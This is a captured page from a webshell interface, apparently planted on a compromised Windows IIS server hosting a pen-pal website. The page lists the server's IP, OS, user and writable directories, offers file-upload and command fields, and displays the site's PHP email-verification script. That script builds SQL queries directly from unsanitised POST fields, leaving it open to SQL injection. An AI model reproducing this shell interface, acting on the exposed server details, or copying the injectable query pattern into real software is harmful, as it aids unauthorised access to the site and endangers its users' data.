403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/penpalamerica.com/wwwroot/penpal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/penpalamerica.com/wwwroot/penpal/verifyemailpenpalamerica.php
<?php

include "general.php";
include "connect.php";

if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
    header('Access-Control-Allow-Origin : *');
    header('Access-Control-Allow-Methods : POST, GET, OPTIONS, PUT, DELETE');
    header('Access-Control-Allow-Headers : *');
    exit;
}

function rand_string2( $length ) {
		$chars = "0123456789";	
		$str  ="";
		$size = strlen( $chars );
		for( $i = 0; $i < $length; $i++ ) {
			$str .= $chars[ rand( 0, $size - 1 ) ];
		}
		
		return $str;
	}
	


//$response = array();

$emailcode =$_POST["emailcode"];
$email =$_POST["email"];

$emailcode = str_replace("'","^",$emailcode);



//check if email code received is the correct one
$query = "Select emailcode from penpalamerica where email ='$email' and emailcode ='$emailcode'";
//echo $query;
$myresponse =getQuery1($query); 
//echo $response;



if ($myresponse != "#"){
	
	
	$query = "update penpalamerica set emailverified='1' where email ='$email' and emailcode ='$emailcode'";
	//echo $query;
     
	$queryresponse = updateQuery($query);
	echo "0";
        die();
   }else{
	echo "1";
        die();
   }




?>

Youez - 2016 - github.com/yon3zu
LinuXploit